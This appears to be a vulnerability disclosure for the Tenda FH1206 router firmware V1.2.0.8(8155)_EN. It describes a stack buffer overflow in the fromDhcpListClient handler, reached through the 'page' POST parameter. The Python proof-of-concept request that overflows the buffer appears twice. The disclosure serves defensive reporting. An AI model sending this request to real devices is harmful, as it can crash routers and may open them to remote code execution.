Overview

Tenda FH1206 V1.2.0.8(8155)_EN

• Firmware download website:
  • https://www.tendacn.com/hk/download/detail-2344.html
  • https://www.tendacn.com/us/download/detail-2344.html

Affected version

V1.2.0.8(8155)_EN

Vulnerability details

The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the fromDhcpListClient function.The Var variable receives the page parameter from a POST request and is later assigned to the v7 variable. However, since the user has control over the input of entrys, the statement sprintf(v7, "lan_dhcp_static.asp?page=%s", Var); leads to a buffer overflow. There is no size check, so the user-provided page can exceed the allocated size of the v7 array (256 bytes), thus triggering this security vulnerability. The attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

PoC

# fromDhcpListClient_page

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/DhcpListClient"

data = {"page":'a'*999}

ret = requests.post(url, data)

Additional Information

###Product_version
Tenda FH1206 
V1.2.0.8(8155)_EN

###Affected_component
the "fromDhcpListClient" function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/DhcpListClient"
data = {"page":'a'*999}
ret = requests.post(url, data)

###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the page parameter at ip/goform/DhcpListClient.

###Refernce
<https://palm-vertebra-fe9.notion.site/fromDhcpListClient_page-c9ee71f670534555a5ef2d99320da48e>
<https://www.tendacn.com/hk/download/detail-2344.html>